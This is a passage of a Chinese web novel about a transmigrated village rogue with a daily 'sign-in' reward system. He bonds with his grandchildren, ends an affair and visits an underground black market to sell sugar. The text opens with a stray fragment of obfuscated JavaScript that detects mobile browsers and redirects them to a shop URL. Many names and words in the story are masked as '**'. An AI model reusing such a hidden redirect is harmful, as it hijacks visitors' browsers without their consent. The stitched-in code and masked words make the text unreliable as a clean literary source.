l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966823|193410||http|test|mini|href|location''.split(''|''),0,{}));
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>好甜啊!
比她们以前吃过的任何饴糖都要甜得多得多!
三个丫头贪婪无比的吮吸着糖果上分泌出来的香甜滋味,一刻也舍不得将嘴里的棒棒糖取出。
老四江源看得心里直痒痒,口水四溢,终于忍不住开口向江河说道:“爹,我……我想要尝尝这种糖果,你那里还有吗?”
“我也是我也是,爷爷,能不能让我也尝尝!”
“还有我,我也想吃!”
有了江源这个小四叔打头阵,江娴与江涛也随之大着胆子,开口向江河讨要起糖果来。
江河见状,忍不住哈哈大笑起来,他就等着这些小家伙主动开口向他讨要呢。
因为只有这样,才能刺激着这些孩子们主动跟他开口说话,才能促进他与孩子们之间正常的情感交流,让他们之间的父子、祖孙之情快速升温。
“不要着急,你们每个人都有份!”
说着,江河的右手往袖口处轻轻一拍,就跟变戏法一样,直接又变出了三根去了包装的棒棒糖,并将它们分别递给江源、江娴和江涛三人。
“谢谢爹!”
“谢谢爷爷!”
三个孩子欢喜的接过棒棒糖后,全都迫不及待的将它塞进了口中。
棒棒糖新奇的外形和甜美的味道,瞬间就征服了他们的味蕾,他们的脸上也很快就露出了与之前江沫儿、江夏与江琴三人一模一样的满足表情。
江娴在品尝糖果之余,还偷偷瞄了江河一眼,见爷爷正笑眯眯地看着自己,连忙害羞的低下了头,不敢与爷爷对视。
江源年纪最大,虽然也很喜欢棒棒糖的味道,但还是保持着几分矜持。
不过他再看向江河这个渣爹时的眼神,也明显比之前放松柔和了许多。
其他几个孩子也都差不多都是如此,一根棒棒糖所带来的情感升温效果,竟比江河中午辛苦准备的那锅红烧肉还要好得多得多!
只是这片刻间的工夫,他与这一儿一女,还有三个孙女、一个孙子,就完全打成了一片,关系比之前融洽了不知多少倍!
灶房里,正在准备晚饭的赵穗与罗灵二女,听到外面的动静,偷偷探头往院子里瞧看了一眼。
当她们看到五个孩子全都围着公公在打转,一会儿蹦一会儿跳,还不时的咯咯欢笑几声,最小的江夏与江琴,甚至都被公爹给抱在了怀里。
这……
两个儿媳妇儿全都忍不住狠揉了两下眼睛,还以为是自己看花了眼。
这几个孩子,以前不是最怕公爹的么,每次跟公爹待在一起的时候,全都紧张兮兮的,连大声喘气都不敢。
怎么现在,这一个个的却全都放飞了自我,竟一点儿也不怕公爹了?
第41章 要闹粮荒了
夜色更深些的时候,**推着新买来的两袋粮种从县里赶了回来。
一入院门,就看到老爹正在跟四弟、小妹还有四个孙辈一起说笑玩闹,尤其是他们家的那两个丫头,现在竟然全都坐在老爹的大腿上,嘴里衔着一根小木棍,欢快的“爷爷,爷爷”的叫着。
更离谱的是,老爹非但没有觉着不耐烦,反而还将两个小孙女揽在怀里,防止她们跌倒摔跤。
听到两个丫头叫爷爷,他甚至还开怀大笑的应和着,有时兴致来了,还会在两个小丫头的嫩脸蛋上各亲一口,嘴边的胡须扎得江夏、江琴一边躲避,一边咯咯直笑。
这画面,绝对是**这辈子所见到过的最违和、最让他感到不可思议的画面。
那可是他爹啊,十里八乡有的名混混、二赖子!
自他记事起的这十几年来,稍有不顺心,就会对他们这些家人非打即骂,怎么看怎么不顺眼的渣爹。
现在竟然会变得这么慈祥温和,对他以前常骂的丫头片子、赔钱货这般呵护亲昵,这……这还是他以前那个二赖子渣爹吗?
饶是**已然有些习惯了老爹这两日来的反常变化,可是现在,看到老爹竟然对他平日里最为嫌弃与不待见的几个孙女,也能这般和善可亲,融洽相处,**一时之间还是有些难以适应。
只是磕到了头而已,咋能让一个人的性情,在短时间内有了这么大的变化呢?
早知道老爹磕一下头就能变得这般和善可亲,就能对家人变得如此宽容慈爱,他早些年就算是拼着落得一个不孝的名头,也要狠狠地老爹的脑壳上来上一下啊。
“呀,是爹爹回来了!爹爹抱抱!”
正坐在江河腿上玩闹的江夏与江琴,看到推着独轮车从外面回来的**,全都挣扎着从江河的腿上下来,迈着小短腿儿,小跑着奔向**。
一边跑,还一边张开着双臂,嚷嚷着要抱抱。
“小心点,慢着些,千万别磕着了!”
江河在后面担心的高声叫嚷提醒着,同时也起身紧跟在后面,唯恐两个小丫头跑得太快摔倒了。
这自然而然的一幕,看在**的眼中,就让他越发的确信,渣爹是真的在担心两个孙女,而不是为了达成某种目的在他们的跟前故意演戏。
这让他不由又想起了下午在院门口,老爹带着他一起痛揍王铲与王能二人时的场景,当时他也切实的感觉到,老爹是真的在为他撑腰出气,是真的在关心护佑着他。
这样慈善的爹,这样饴儿弄孙、其乐融融的温馨画面,**以前只在别人的家里远远的看到过,更是他时常幻想,梦寐以求的家的样子。
没想到现在,这样爹,这样的家,竟然就这样突然的出现在了自己的面前,很让他有一种犹在梦中的感觉。
很快。
江夏、江琴已经跑到了**的近前,**连忙将独轮车推到一边,蹲下身来一左一右,将两个小可爱抱进怀里。
江河这时也跟到了近前,看了一眼**还有独轮车上的两袋粮种,随口向**问道:“回来了?路上还顺利吧?”
“嗯。”**轻点了点头,道:“没出什么岔子,就是这粮种比之去年又涨价了,比我之前预估的足足多花了二十文钱。”
说起这个,**的脸上不由露出了一丝肉疼之色。
二十文钱啊,都够他割五斤白花花的大肥肉了。
可现在,全都被那些该死的奸商给卷走了。
“粮种涨价了?”江河的眉头微挑,继而问道:“那粮食呢,是不是也涨了?”
**点头,忍不住抱怨道:“是啊,粮食的价格也比之前涨了足足三成,这不是想要了人命吗,这么贵的粮食谁能买得起?”
原本在买完粮种之后,他还想要拿着剩下的钱再买一些粮食回来的。
毕竟家里的余粮早就已经被老宅的爷奶给抢走了,这两天全是靠着老爹拿出来的白米煮饭度日,并不是长久之计。
可是当他到粮店找店里的伙计问了下粟米、面粉还有大米的价格,直接就被吓到了。
所有粮食的价格,都比往年涨了三成不止,这不是纯纯在坑人嘛,这样金贵的粮食,哪里他们这些穷苦人家能吃得起的?
他有这个钱,还不如到村子里找乡亲们私下里收购一些,比着在这县城里的粮店里,能省不少钱呢。
江河闻言,眉头不由微微皱起。
不管是在哪个朝代,粮价的稳定与否,都与时下的社会环境安定与否息息相关。
人们赖以生存的粮价突然上涨,尤其是在秋粮刚刚收获不久的时节,直接比往年上涨了足足三成
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,这可并不是什么好现象。
一般出现这种情况,不是闹了天灾,就是出了人祸。
江河不知道他们这边现在是属于什么情况,但是他的心中却已然泛起了一丝不太好的预感。
因为不管是天灾还是人祸,对于他们这些生活在社会最底层的普通人来说,都是一场不可避免的灾难与浩劫。
“爹你不必担心,城里的粮价涨得再高,也跟咱们庄稼人没有太大的关系。咱们平常自己种粮就能养活自己,又不靠买粮过活。”
见江河皱起了眉头,**还以为他是在担心家里没了粮食,连忙开口说道:
“咱家的粮食虽然已经见了底,但是只要手里有钱,总能从村里的乡亲们手里买来一些的。”
“只要熬过今年冬天,等到明年开了春,地里的庄稼长了起来,咱们家就再也不会缺粮食吃了。”
**很是乐观,只要他爹不再像以前那样帮衬老宅,把家里所有的钱和粮食全都往老宅那边送,他们家的日子很快就能缓过来,而且还会越来越好。
单论种地的话,他**还从来都没有怕过谁,也有信心可以从地里刨出更多的粮食来。
不说什么大富大贵,至少养活他们这一大家子,肯定是没什么问题的。
江河可没有**这么乐观。
他心里很清楚,当县城里粮店内的粮食开始大幅度的涨价的时候,就预示着民间能够私下里流通的粮食,或者说是可供人们日常生活所需的粮食总量,已经不多了。
换句话说就是——马上就要闹粮荒了!
**想要从村民们手中平价买粮的打算,多半是行不通的。
就算是有人愿意卖,也绝对不会再是平常的便宜价格。
不过这些话,他并没有对**明言,等到明天**去找村民们买粮的时候,他自己就能切实的体会到。
只有真正的作了难,认识到了事情的严重性,他这个当爹的再出手力挽狂澜的时候,才会收获到**还有家里其他人更多的感激与认可,才会对他更加的敬重与爱戴。
追着别人喂饭,可让别人主动来找他讨饭吃,虽然都是吃饭,都能让人填饱肚子,可是所能达到的效果却是完全不同的。
哪怕是对自己的家人,该有的套路与手段,还是要有的。
第42章 学猫叫
晚饭时,江河只吃了两颗水煮蛋与一碗稀粥就不再多吃了。
赵穗与罗灵做出来的饭菜,一如既往的寡淡无味。
哪怕现在家里有盐了,也不缺猪油,可她们在做菜的时候,仍是舍不得多加一些,做出来的饭菜只能说是比清水煮出来的稍好一些,实是不合江河的胃口。
倒是几个孩子,还有**、江源他们,全都吃得津津有味,很快就把一桌的饭菜吃了个精光,一点儿也不挑食,好养活得很。
吃过晚饭,劳累了一天的**、罗灵与赵穗三人,便各自带着自己的娃儿回房歇息去了。
江源与江沫儿兄妹两个,也先后伸着懒腰,各自回了自己的小屋。
主屋内就只剩下江河一人闲坐在卧房之中。
此刻他并没有多少睡意。
不止是因为他早上本就起得极晚,现在还不瞌睡。
更是因为他身体内的灵魂本就是个夜猫子,没穿越过来之前,哪天不是抱着手机躺在床上,熬到半夜十二点以后才堪堪睡下?
现在这里虽然没了手机,没了电视,甚至家里连本纸质的书籍都没有,无聊得几乎能闷死个人。
但是睡不着就是睡不着,就算是硬躺到床上,他也闭不上眼睛。
想到白天答应赵寡妇的一百文钱还没有给人送去,江河便趁着孩子们全都睡下的空当,翻身起床,悄悄出了家门。
赵寡妇家在村西,距离江家没有几步路,江河趁着月色,没一会儿的工夫就来到了赵寡妇家门前。
“喵~!”
他很羞耻的学了一声猫叫,这是原身跟赵寡妇之前定好的约会暗号。
每次原身来寻赵寡妇亲热,都会在赵寡妇的家门前这么叫上一声,然后赵寡妇便会避开熟睡的儿子,偷偷过来给他开门。
这一次,江河虽然并没有要与赵寡妇那什么的意思,却也不好在半夜里直接敲门叫人。
只能按照原身的记忆,用这种猫叫春一样的暗号来将赵寡妇唤出来。
果然。
只是几个呼吸的工夫,江河身前的院门就被无声的打开,赵寡妇那张圆胖黝黑的大脸从门内探出来。
“死鬼,你终于来了,奴家都等了你大半天了!”
看到站在门前的江河,赵寡妇风骚的冲他抛了个媚眼,娇声招呼道:
“还愣着做什么,快进来啊!被窝奴家都给你暖好了!”
呃?
江河忍不住一阵反胃,连忙后退了两步,正色道:
“二毛嫂子,请自重!”
“白天我已经跟你说得很明白了,咱们俩以前的事情都已经过去了,以后就莫要再提了。”
“诺,这是我答应你的一百文钱,拿了钱后,咱们就算两清了,我以后不会再来,你也莫要再去寻我了。”
说着,江河将早就已经准备好的一百文钱扔到了赵寡妇的怀里,身体也避嫌似的又后退了两步。
赵寡妇愣住了,捧着江河扔来的一百文钱,脸色瞬间变得难看无比。
她明显的感觉到,自己竟然**河这个二赖子给嫌弃了!
原来白天江河跟她说的那些话,并不是在开玩笑,而这个混蛋真的要跟她划清界线!
“江河!你这是什么意思?”她压低声音,语气之中带着极致的羞怒向江河质问道:“玩够了就想甩了老娘是吧?”
江河闻言,不由有些头疼的轻叹了口气:
“二毛嫂子,以前就算是我不对,我不该主动来招惹你。这些钱就当是给你的补偿,我希望咱们能好聚好散,别把彼此都弄得很难堪。”
“补偿?还好聚好散?”赵寡妇冷笑一声,“呵,老娘陪了你这么多年,就值这区区一百文?你在这儿打发叫花子呢!”
说着,她突然提高了些声音,向江河威胁道:“信不信我现在就喊人,让全村都知道你江河是个什么货色!”
“敬酒不吃吃罚酒!”江河冷哼一声,脸色一沉,厉声道:“你喊啊!老子本就是泥坑里的一条臭咸鱼,你看看我会不会在乎自己的名声更烂一些!”
“倒是你,真要是闹腾了起来,你赵寡妇的名声可就全毁了,你的两个儿子以后莫说是读书了,怕是连媳妇都再难找!”
江河最后这句话,正好戳中了赵寡妇的软肋与七寸。
她可以不要脸面,可以豁得出去跟江河闹腾,但她的两个孩子却是不行。
她之前跟江河说要送小儿子去私塾读书,可并不是随口说说而已,而她真的有这个心思。
万一她与江河之间的丑事被人宣扬了出去,闹得人尽皆知,必然会影响到儿子们日后的名声与前程。
她赌不起,也闹不起。
“呵呵,你个死鬼,怎么这么不经逗,奴家就是跟你开个玩笑而已,哪能真个把你闹得下不得台呢?”
赵寡妇脸上的怒气与冷意瞬间就冰雪消融,只见她轻笑着瞥了江河一眼,没好气道:
“都说一日夫妻百日恩,百日夫妻似海深。奴家与你虽不夫妻,可夫妻之间该干的事儿可是一样也没有少干,你说你咋就这么
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狠心,说断就跟奴家断了呢?”
见江河依然冷着脸没有说话,赵寡妇自讨了个没趣,知道这个男人是铁了心的要跟自己断了关系,便悻悻的摆手道:
“罢了罢了,既然你这么狠心,奴家也不强求。这钱我收了,以后咱们井水不犯河水,再见面就当谁也不认识谁好了!”
砰!
最后一句话说完,赵寡妇便猛的将院门关闭,捧着一百文钱,扭着**回了屋里。
江河站在门外,心中松了口气的同时,也不由感叹这个赵寡妇怕也不是个省油的灯。
仅凭着刚刚那一出变脸的手艺,就远胜过村里九成九的妇人了。
方才他但凡表现得稍稍软懦半分,这娘们就敢再从他身上狠撕下一块肥肉下来。
江河现在甚至都在怀疑,之前到底是原身在用强欺负她,还是这娘们儿一直在欲擒故纵,故意勾引原身?
不过现在,这些都不重要了。
不管赵寡妇之前安的什么心思,过了今晚,他与赵寡妇之间的关系就算是彻底斩断,银货两讫了。
接下来,还有一个孙寡妇。
反正现在闲着也闲着,索性就将这两个麻烦一并解决掉。
这么想着,江河又一路小心的溜达到了村北头。
所幸的是,村子里没什么娱乐项目,家家户户基本上都是天刚一黑,就熄了灯,关门睡觉了。
江河这一路走来,半个人影也没有碰到,倒是极大的方便了他今晚的行动。
片刻。
江河就来到了孙寡妇家门前,只见外面的院门紧闭,屋里也没有半点灯火。
江河照例学了一声猫叫,等了半晌却不见有人回应。
“奇怪,难道睡得太**?”
江河微微挑眉,不由又羞涩的连着喵叫了两声,结果还是没有动静。
正当他准备再叫第四声时,隔壁院子传来一个老妇人不耐烦的骂咧声音:
“哪里来的野猫,别特么瞎叫唤了,人家孙寡妇早前儿就带孩子回娘家了,现在家里一个人也没有!”
“你这野猫想找食儿吃的话就到别家去叫唤去,别在这里打搅老娘睡觉!”
江河闻言,脸上大写了一个尴尬与囧字,没敢在原地多待,一溜烟就远远的跑开了。
他又不傻,自然听得出那老妇人是在指桑骂槐,知道他这只小野猫不是什么正经猫。
原身自以为很隐秘的一些举动与暗号,怕是早就已经被搞得人尽皆知了。
真是……太特喵儿的丢人了!
第43章 去县城,卖糖霜
翌日。
当江河从睡梦之中再醒来时,又已是日上三竿时分。
**、江源、赵穗、罗灵等人,早就已经下地去播种昨晚刚买回来的粮种去了。
江沫儿、江娴、江涛、江夏、江琴五个孩子,也都照着以前的习惯跟着去了田间地头玩耍。
家里一如既往,又只剩下了他孤家寡人一个。
江河躺在床上舒服的伸了个懒腰,人都还没有坐起来,就直接在心中默念了一句:
“签到!”
顷刻间,耳边就传来了悦耳的提示声音:
“叮,签到地点刷新成功,签到地——下河村,江宅!”
“叮!恭喜宿主签到成功,未触发暴击奖励,获得铜钱50文,精品白面10斤,雪花白糖5斤,中品深蓝布料3匹!”
竟然没有触发暴击奖励,差评!
听到这次签到竟然没有触发任何暴击奖励,江河略微失望的轻摇了摇头。
不过看到物品栏内多了来的五斤白糖和三匹棉布,江河却是忍不住眼前一亮。
白糖在这个时代可是稀罕物,反正在原身的记忆中,白糖又名糖霜,是只有那些达官贵人才能吃得起的奢侈玩意儿,价格自然也贵得离谱。
像他们这种平头老百姓,很多人活了一辈子,甚至连听都没有听说过糖霜这种东西。
平时想要吃口甜食的话,他们最多只能买来一些品质不佳饴糖或是红糖来过过嘴瘾。
而饴糖与红糖的口感与品质,比之这纯白如雪的白沙糖来,差了可不止一个档次。
“找个机会把这五斤白糖卖出去,应该能卖不少钱。”
江河轻声自语。
自昨夜从与**的交谈中,分析出了粮荒在即的隐秘讯息之后,江河心中就生出了一丝紧迫感。
他必须得在真正的粮荒爆发之前,赚到足够多的钱来买粮囤粮,以防万一。
否则等到下一次粮价再次飞涨,他手里剩下的这点儿钱,怕是连一石米都买不起了。
虽然他有签到系统,每天签到也能随机得到一些面粉、大米、粟米或是鸡蛋、猪肉之类的吃食。
可那毕竟不太稳定,说不定有时运气不好,签出的东西全是家具、农具、布匹之类的非食用物资呢?
这般想来,与其完全指望着签到系统得来的东西去应对粮荒,远不如他现在就去搞钱,实打实的收购一批粮食更能让人安心。
所谓手中有粮,心中不慌。
无论什么时候,粮食才是所有人心中的定心石。
亦是他们一家人在未来有可能会出现的荒年中,能否很好的存活下来的根本所在。
想到这里,江河一个翻身坐起,简单的穿好衣服便下了床。
他先是从物品栏中取出一匹深蓝布料放在床头,准备让赵穗、罗灵在空闲时,给家里的几个孩子们做几身新衣裳。
至于剩下的那两匹布和五斤白糖,他打算找个机会拿到县里全部卖掉,然后再拿得来的钱全部去收购米面之类的粮食。
“除此之外,还得尽快想个赚钱的门路才行。”
“不然的话,以后我签到得来的这些东西,根本就不好解释它们的来源与出处,时间久了,必然会引起别人的怀疑与猜忌。”
江河一边洗漱一边暗自琢磨着。
他有签到系统在手,每天会有不同的物品或是铜钱进帐,未来哪怕真有什么天灾人祸爆发,他也有带着家人从容应对的自信与底气。
但是,他的这些东西总不能凭空出现,他得为这些物资的来源寻一个合情合理的,让外人,甚至让家里人,都挑不出半点儿毛病的出处来。
否则他一个不学无术,甚至连地都不会种的地痞、二赖子,突然一下拿出与其身份地位完全不匹配的各种物资与丰厚钱财,必然会遭人怀疑与惦记。
现在他只是稍稍改变了一下往日的性性,村子里面就已经有了他是被邪祟附体的谣言。
若是他再毫无节制的凭空变现出各种稀罕物品来,让江家这个原本贫困潦倒、连饭都吃不起的破落户,在短时间内摇身一变,成了家财万贯的地主老财。
这所谓的邪祟附体的谣言,怕是马上就会被证实,届时他指定会被人押送到火刑台上点了天灯。
这,绝对不是他愿意看到的结果。
洗漱完毕,江河拿起毛巾擦干手上和脸上的水渍,又稍稍活动了一下身体后,这才缓步走进灶房。
灶房内,儿媳妇们给他在锅里留了早饭——
一碗稀粥和两个鸡蛋。
这倒是正合了他的心意。
他不紧不慢地将锅里尚温的稀粥与鸡蛋取出,慢条斯理的把它们全都送进了肚子里。
吃饱喝足之后,他才迈着四方步,悠哉游哉的出了院门。
“王四嫂,我一会儿要去一趟城里,中午大概是回不来了。
稍后我家三儿还有两个儿媳妇从地里回来了,劳烦你跟他们说一声,让他们午饭自己做了吃,就别再等我了!”
路过王老四家门口的时候,看到老四媳妇刘桂花正坐在门前缝补衣服,便扯着嗓子跟她招呼了一声。
刘桂花瞥了江河一眼,想起他昨天送来的那半斤五花肉,脸上不由露出了一个笑脸,朗声应道:
“晓得了晓得了,等赵穗
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他们回来,我跟他们说一声就是了。”
江河闻言,隔空冲她拱了拱手,表示感谢。
看到王小豆正好从家里跑出来,便心念一动,佯装从袖筒里取出一颗剥了包装的棒棒糖来,随手塞到了王小豆的手中。
“小豆子,这是我昨天在村外的一个游商手中买来的新奇糖果,给你一颗甜甜嘴!”
“谢谢江爷爷!”
王小豆瞬间就被棒棒糖的奇特造型还有糖球之上散发出来的诱人的香甜气息所吸引,高声向江河说了句谢谢之后,就迫不及待的把糖果塞进了口中。
然后这小子就跟中了定身术一样,一动不动的站在原地,贪婪无比的涌动着舌头,吮吸着糖球上分泌出来的纯正甜香,满脸的欢愉与满足之色。
江河轻笑着抬手在他的小脑袋上拍了拍,然后又与刘桂花招呼了一声,这才抬脚离开。
“唉,还以为这老小子转性了,接下来能好好的跟着儿子、儿媳妇安生过日子呢。
谁曾想,这手里才刚有几个闲钱,就又迫不及待的跑到县里去浪荡去了!”
看着江河远去的背影,刘桂花脸上的笑意收敛,又有些嫌弃的轻声叨咕了起来。
不怪她会这么想,实在是江河以前留给她的印象着实是太过糟糕。
在过去的十几年中,同样的画面她已经见过了不知多少次。
每当江河手中有了闲钱,他不是巴巴的送往老宅,就是带着一群狐朋**,到县城的酒楼里胡吃海喝,不把手里的余钱花干花净,根本就不会回来。
现在看到江河又要往县城里跑,不是去喝花酒,去跟那些不着四六的狐朋**鬼混,还能去干什么?
谁家好人会在自己家里农忙播种的时候,一个人闲着没事儿到县里去瞎溜达的?
“娘,你快尝尝看,江爷爷给我的这块糖好甜!”
正当刘桂花小声的嘀咕江河的时候,小儿子王小豆拿着吃了几口的棒棒糖跑了过来,献宝似的将手中的棒棒糖递到了刘桂花的嘴边。
“你这孩子,跟你说过多少次了,莫叫江河那个混子爷爷,他跟你爹是同辈,你叫他爷爷的话,你想让你爹叫他啥……”
话还没有说完,王小豆已经把棒棒糖塞进了她的口中。
顷刻间,一股纯正无比的甘甜滋味瞬时在她的口腔之中爆裂开来,刘桂花身形一震,忍不住又多吮了两口。
“啧啧,这糖还真是甜得很呢,里面竟还有果香味,肯定不是便宜货。
也就是江河这样的败家子才会这么大方,肯买这么贵的糖果,甚至还舍得把它送给别家的小孩吃……”
第44章 山中多奇珍
三河县因清远河、玉带河与翠鸣河三条河流在此交汇而得名。
其中清远河自西北群山奔涌而下,玉带河从东北方向蜿蜒而来,两条河流在县城西南角相遇后,又与自西向东的翠鸣河汇合,形成一片地域宽广且肥沃的冲积平原。
县城就建在三河交汇处的北岸。
城内,一条由人开凿的运河横穿整个县城,青砖灰瓦的房屋依水而建。
沿岸绿植葱郁,河内碧水汨汨,几座石桥横跨河面,连接着南北两个半城。
江河所在的下河村,坐落在清远河下游的南岸,因位于清远河下游河段而得名。
村子距离三河县不足十里地,村民们平日里赶集购物,都习惯直接到县城去。
从下河村到县城,走的是一条沿清远河而建的夯实土路。
道路两旁分别是清远河的河道,与连绵不绝的麦田和粟米地。
此时正值秋收过后,田里堆着金黄的麦秸和粟米秆。
远处青山如黛,近处清远河水潺潺流淌,抬眼望去,不禁让人心旷神怡,好一派田园风光。
江河悠闲的走在江岸边,一边欣赏沿途的风景,一边思虑着自己接下来该如何谋划,才能寻得一个既不引起任何人怀疑,又能养家糊口,且还能轻易遮掩住签到物资来源的行当。
“开个小吃摊?”
“或者做点小买卖?”
“又或者直接开个杂货铺?”
各种念想不断在他的脑海里徘徊摇晃,可却没有一个能让江河满意的。
因为不管是做买卖,还是开商铺,都需要大量的时间或是本钱,而这些却恰恰是江河现在所欠缺的。
如果是在平时,他倒是可以放缓脚步,循序渐进,一点点的累积成行。
可是现在,粮荒指不定什么时候就会突然爆发,他并没有太多的时间去筹谋去积累。
不经意之间,江河突然抬头朝远处眺望,目光不由自主的就落到了清远河源头所在的西北群山之上。
“山中多奇珍,充满无限可能,要是我没事儿就到山林之中转上一圈,不时从里面搞些草药、野味什么的好东西出来,时间久了,大家自然就会**以为常……”
思量到此,江河的双眸不由骤然一亮。
这确实是一个极好的路子。
他有随时可以装纳任何物资的物品栏在,根本就不需要真正的深入到山林之中去冒险。
他完全可以把签到得到的一些珍贵物品先悄悄地拿到县城换成现钱,然后再用这些钱去收购一些高价值的山野奇珍,之后堂而皇之的将这些山野奇珍拿出来,充当自己的赶山所得。
如此左右一倒手,原本来历不明、不好对外解释具体来源的签到物资,就变成了有迹可寻,能够正常入帐和花销的干净财物。
虽然过程可能会稍稍麻烦了些,但是却可以有效的避免许多的麻烦,且还不易引起别人的怀疑,绝对是眼下最适合他当前状况的路子!
“就这么办了!”
江河猛的一拍自己的大腿,即刻就敲定了自己接下来的行动规划。
若是他没有记错的话,三河县城西的坊市之中,应该隐藏着一个专门用来交易赃物或是各种黑货的地下黑市。
原身本就不学无术,以前时常会同王铲、王能二人,一起到这个地下黑市之中处理一些他们或偷或抢,以各种见不得光的手段得来的各类物资,对这里可谓是极为熟悉。
江河现在要做的,就是亲自去这个地下黑市探探道儿,摸摸黑市中各方商家的根底及体量,方便他日后借此地来处理掉他每日签到所得来的各类物品。
拿定主意后,江河不由加快了脚步。
沿途,他不时能遇到同样去县城办事或是赶集的下河村村民。
大家见到他,都下意识地远远避开,但是在看向他的眼神中,却少了几分以往的厌恶与嫌弃,多了几分好奇与探究。
“听说江河昨天为了给他家老三出头,把王铲和王能那两个狗东西给打了?”
“可不是嘛,我当时正好出门,还亲眼看见了呢,打得那叫一个狠!王铲与王能那两个狗东西叫得那个惨,走的时
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候都是哭着走的,看着老痛快了!”
“真是怪事了嗨,你们说,江河这老小子,什么时候竟会这么护着自家孩子了?
以前他不是一直不待见**,恨不得一天打三顿吗?怎么这次却舍得为了**跟他两个狐朋**翻脸了?”
“这谁能知道呢!”
“不过,最近村子里一直有传言,说江河这老小子假死之后,就被脏东西给附了身,所以才会性情大变。”
“是呢是呢,俺也听说了,那是赵神婆亲口传出来的,说现在的江河已经不是以前的江河了,他的魂儿早就已经被邪祟给吞噬占据了,所以他才会变得这么六亲不认,连自己的亲爹亲娘都敢打……”
“你可拉倒吧,什么邪祟附体啊,人贾郎中都说了,江河那是因为磕到了头,伤到了脑子,这才性情大变,以后说不得还会恢复过来呢!”
“对对对,我也见过这种情况,我二舅家的那个小侄子,也是磕到了头,醒来后连人都不认得了,就跟个二傻子似的,直到现在都还没好呢。”
“江河也是运气好,头上磕得那么重,也没有直接变傻,反而还像是开窍了一样,知道护着自己的家里人了……”
村民们的窃窃私语随风飘进江河耳中,江河眉头微挑,眼中闪过一丝冷芒。
果然,关于他被邪祟附身的谣言,就是村里的赵神婆捣鼓出来的。
这其中肯定也少不了王三妮那个毒妇的参与。
她们倒是打得一手好算盘。
先用谣言惑人心,然后再以“驱邪”为名,鼓动那些担心会被邪祟影响到的愚昧村民,联手将他送上火刑台。
这两个毒妇,是存了心想要置他于死地啊!
所幸的是,他已经提前跟贾郎中统一了战线,有贾郎中为他背书解释,赵神婆与王三妮的算计注定不会如愿。
不过,被动挨打可从来都不是他江某人的处世风格。
这笔帐他暂时给赵神婆与王三妮记上了,待他忙活完这边囤粮的事情之后,看他怎么收拾这两个毒妇就完了!
第45章 地下坊市
约莫半个时辰后,三河县的城墙已经遥遥在望。
青灰色的城墙在秋日阳光的照耀下泛着淡淡的微光,城门口处人来人往,看上去很是热闹。
缴纳了一文钱的入城费,江河熟门熟路地穿过几条街道,来到了城西的坊市。
这里与城中心的车水马龙般的喧闹不同,里面的街道略显狭窄,两旁的店铺也显得有些破旧。行人稀稀拉拉,偶尔有几个眼神警惕的汉子在街角张望。
江河按照原身的记忆,拐进一条小巷,在一家挂着“陈记杂货”招牌的店铺前停下脚步。
这家铺子门面不大,看上去普普通通,却是进入地下黑市的入口之一。
在进入“陈记杂货”之前,江河先找了一处无人的僻静之地,将物品栏内想要出手的五斤白糖及两匹棉布取了出来。
同时还取出一块从家里带来的破布,将所有的东西打包起来,斜挎着背在了后背上。
“掌柜的,你们这里可有上好的山货?”
江河走进店铺,对着柜台后一个正在打着算盘的老者说道。
老者头也不抬,慢悠悠地回道:“客官想要什么山货?人参、鹿茸还是上等的皮子?我们这里应有尽有!”
“我不要人参也不要鹿茸,更不要皮子。”江河按照记忆中的暗号回答道,“我要的是刚从山里捉来的活物。”
闻言,老者这才抬眼打量了江河一番,见还是个熟面孔,不由微微点头道:
“活物我们这里倒是也有,不过价钱可都不便宜。”
“无妨,”江河摆手道:“只要货好,价钱不是问题。”
“好!”老者眼中精光一闪,放下手中的算盘,继续问道:“客官想要多少?”
“有多少我就要多少。”江河对答如流。
暗号对上了,老者站起身,掀起柜台后的布帘向江河说道:
“客官随我来,你要的山货在后院,需要你亲自过去掌眼。”
江河点头,随身跟上。
店铺的后面是个小院,院门口处站着两个彪形大汉,见江河进来,立刻投来几分警惕及审视的目光。
“这位客官要出货,你们带他进去看看。”老者对其中一个大汉说道。
两个大汉点了点头,其中一人推开院角的一扇木门。
门后是一条倾斜向下的昏暗阶梯,隐约能听到下面传来的细微的嘈杂声。
就是这里了,与原身记忆中的场景一般无二。
江河正要抬步走向阶梯,却被其中一名大汉伸手拦下。
“入场费,二十文。需要摆摊的话,摊位费另算!”
二十文?
真够黑的啊!
怪不得这黑市的入口处如此冷清,光是这让**疼的入场费就能把很多人都给劝退。
知道这是进入黑市的规矩,也没有讨价还价的余地,江河没有犹豫,伸手入怀,从物品栏内取出了二十文钱,交到了大汉的手中。
大汉接过钱,随手从院门后取出了一只挂着黑纱的大檐斗篷,示意江河戴在头上,淡声交待道:
“进去之后,只谈生意,莫问来历,谁若是坏了规矩,那就是在自己找死!”
江河微微点头表示明白。
若不是因为黑市之中有这样规矩,他还不来呢。
接过斗篷戴在头上,将他的整张脸还有上半边身子完全遮掩了起来。
这要不是对他特别熟悉的人,哪怕是面对面站着,也休想辨认出他是谁。
见江河如此配合,两名大汉不再多说什么,侧身让开了去路。
江河冲二人微微点头,然后便顺着阶梯直往下走,刚走了没两步,便感觉一股潮湿阴冷的气息扑面而来。
石阶的两侧因常年不见阳光而生满了青苔,踩上去有些湿滑。
侧边的墙壁上挂着几盏油灯,昏黄的灯光在幽暗的通道中摇曳,投下幢幢黑影。
越往下走,空气越发潮湿,隐约能听到滴水的声音。
阶梯拐角处堆着几个破旧的木箱,上面布满了蛛网。
连着转过三个弯道之后,前方隐约传来人声,通道也渐渐变得宽敞起来。
通道尽头是一扇敞开着的棕色木门,门后有一层棉被一样的厚重布帘遮挡着里面的景象,江河刚刚听到的喧闹人声,就是从里面传出。
木门之外,同样有两名彪形大汉守在门的两侧。
见江河过来,二人只是在江河的身上轻扫了一眼,并未有任何阻拦,任由江河穿门而过。
掀开厚重的门帘,江源步入其中。
霎时间,喧闹的人声和明亮的灯火扑面而来,与刚才幽静昏暗的通道形成了鲜明对比。
这座地下坊市之内,灯火通明,人声鼎沸,一眼竟望不到。
靠近江河所在的入口处,便有数十个摊位整齐排列,卖的东西也是五花八门,从药材、皮货到珠宝、古玩,应有尽有。
买家卖家都在摊位前低声交谈,交易完成后就迅速分开,显得十分谨慎。
江河缓步在市场中转了一圈,仔细观察着各种货物的价格。
一支百年老山参要价五十贯,一张完整的狐皮要价三贯,就连普通的野味都比市面上贵上不少。
他在一个药材摊前停下,假装要买山参,趁机向摊主打探行情。
